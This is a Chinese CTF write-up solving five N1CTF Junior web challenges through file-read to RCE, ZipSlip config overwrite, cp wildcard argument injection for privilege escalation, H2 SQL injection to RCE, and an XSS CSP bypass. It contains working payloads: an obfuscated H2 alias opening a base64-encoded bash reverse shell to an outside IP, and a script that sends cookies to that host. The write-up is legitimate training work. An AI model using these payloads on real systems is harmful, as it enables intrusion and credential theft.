很高兴可以成为第一个AK Web的师傅hh 祝N1CTF Junior越办越好~
Gavatar
直接登陆上去 发现在头像上传处可以接受URL作为参数
考虑是不是存在什么SSRF/任意文件读取
直接可以尝试
file
协议
可以实现读取任意文件
但是这个题给了docker 是用
/readflag
去获取flag
考虑是否需要通过任意文件读取转换为RCE
当时特别注意了一下这里的的PHP版本 8.3.4
不就是vulhub上给的一模一样的版本 利用 CVE-2024-2961 的实现
(之前二面时给小学弟学妹们出了一道题基本一摸一样hh)
https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md
按着要求安装必要的环境 和之前SCTF出的一道题后半部分基本一样
可以用kezibei 师傅的本地化项目 可以推荐一下
https://github.com/kezibei/php-filter-iconv/tree/main
这里我之前也做了一个类似的工具直接生成打就是
1.读取/proc/self/maps
计算libc地址
2.读取指定的libc文件(包含system函数地址)
3.直接生成POC达到RCE的目的
直接用
curl
去反弹shell就是
可以直接拿到flag
traefik
其实逻辑很简单就是访问 /flag
设置 X-Forwarded-For
为 127.0.0.1
就可以获取环境变量中的flag
但是我们直接访问是访问不到的 因为用
traefik
做了代理
只允许 /public/index
和/public/upload
的访问
直接可以发现
# Dynamic configuration
配置是动态生效的
我们可以考虑通过覆盖/app/.config/
配置文件实现可以访问 /flag
这里提供了解压ZIP的功能 非常典型的ZipSlip
构造恶意的ZIP包可以实现目录穿越实现任意文件覆盖/写入
import zipfile
if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("D://dynamic.yml", "../../../../../../..//app/.config/dynamic.yml", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
dynamic.yml仿照配置写个代理 /flag
的路由
# Dynamic configuration
http:
services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
middlewares:
add-x-forwarded-for:
headers:
customRequestHeaders:
X-Forwarded-For: "127.0.0.1"
routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: proxy
flag:
rule: Path(`/flag`)
entrypoints: [web]
service: proxy
middlewares:
- add-x-forwarded-for
传上去就可以直接访问了
backup
会发现源码底部存在注释 非常经典的php7 非法变量解析
$cmd = $_REQUEST["__2025.happy.new.year"]
可以直接执行系统命令 反弹shell看看
会发现没有权限获取flag 需要提权
查看常见的SUID,SUDO
find / -perm -u=s -type f 2>/dev/null
没有什么可以直接利用命令
sudo -l
不存在sudo
ps -aux
列出所有进程
会发现以root权限执行了
/backup.sh
同时我们对backup.sh
没有写权限
查看 /backup.sh
内容
#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 15s
这里实现了遍历 /var/www/html/primary
所有内容
通过cp -P * /var/www/html/backup/
拷贝到 /var/www/html/backup/
并且赋予755可读可执行权限
第一想法是通过建立软链接到 /flag
在拷贝时到 backup
赋予可读权限后实现读取flag
但是这里 -P
参数
不会复制软链接的实际文件 而是软链接本身
但是问题出在这里
*
通配符
https://www.cnblogs.com/zlgxzswjy/p/15210570.html
可以以葫芦画瓢
我们可以本地测试一下问题
会发现
*
可以匹配当前目录下的所有文件
如果我们创建一个类似 -xxxx
的参数 是否意味这我们可以实现参数的注入
例如 当前文件有 文件名为 -xxxx
的文件
cp -P -xxxx /var/www/html/backup/
是否就实现了参数的注入
查看 cp
命令的手册
我们会发现
-H
可以跟随命令符号链接
意味这我们可以获取真实的文件内容 而不仅仅是软链接
我们可以创建一个名为 -H
的文件实现参数的注入
echo "">"-H"
这个时候我们可以创建软链接指向/flag
这个时候cp
命令会将真实的flag做备份并且实现可读权限的赋予
ln -s /flag ff
现在cp执行的命令实际上是
cp -P -H ff /var/www/html/backup/
等待15s后就可以访问flag
EasyDB
会发现直接拼接
username
和 password
参数
数据库是h2 考察 h2->RCE
经过测试可以实现堆叠注入 可以执行多个SQL语句
这大大方便了我们实现RCE的目标
可以通过 Alias Script RCE
https://boogipop.com/2023/10/01/JDBC-Attack%20%E5%88%A9%E7%94%A8%E6%B1%87%E6%80%BB/#H2-RCE
同时对关键字做了过滤 可以直接通过Java反射动态拼接字符绕过
username={{urlenc(admin'; CREATE ALIAS evil AS $$void jerry(String cmd) throws Exception{ String R="R"+"untime";Class<?> c = Class.forName("java.lang."+R);Object rt=c.getMethod("get"+R).invoke(null);c.getMethod("exe"+"c",String.class).invoke(rt,cmd);}$$;CALL evil('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuMTU3LjI0OC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'); -- -)}}&password=admin123
但是注意创建别名只能是第一次
如果命令有问题就记得重开一个环境
display
这个题实际上不是考察DOMPurify 3.2.3下如何通过mxss绕过实现dom xss
但是实际上也有大师傅研究这个问题如何在DOMPurify 3.2.3下绕过DOMPurify.sanitize
https://ensy.zip/posts/dompurify-323-bypass/
但是这道题实际上用不上 如果仔细阅读代码会发现
存在一个效果预览的功能
这里实际上调用了两次 innerHTML
也就是渲染了两次html 可以考虑通过html实体编码绕过
这样传入的代码就可以被认为是文本 而不是标签
第二次渲染时就可以还原为正常的html代码
可以发现成功解析为img标签
但是script没有成功解析为js
直到当时放了一个hint
用iframe嵌入子页面可以重新唤起DOM解析器解析script标签
可以考虑通过iframe重新唤醒dom解析器
<iframe/srcdoc="<script>alert(1)</script>">
在没有csp限制的条件下 我们可以本地先置空试试
可以直接执行恶意js代码
这里需要考虑绕过csp
const csp = "script-src 'self'; object-src 'none'; base-uri 'none';";
这里csp限制比较严格 基本上不能从非同源上加载我们恶意的js脚本
但是会发现一个有趣的功能
在404页面我们可以控制字符构造任意js语句
同时也会注意到 这里存在一些脏字符 例如
/
, : invalid path
等问题 可以考虑通过注释去掉
构造我们外带cookie的恶意js代码
**/fetch(`http://119.29.157.248:8888/`+document.cookie)//
现在指定我们的src为路径构造
<iframe/srcdoc="<script/src='**/fetch(`http://119.29.157.248:8888/`+document.cookie)//'></script>">
就可以绕过csp策略实现外带cookie
有一个小细节 注意用Yakit/BP发包 因为浏览器会再一次编码base64
就可以正常外带flag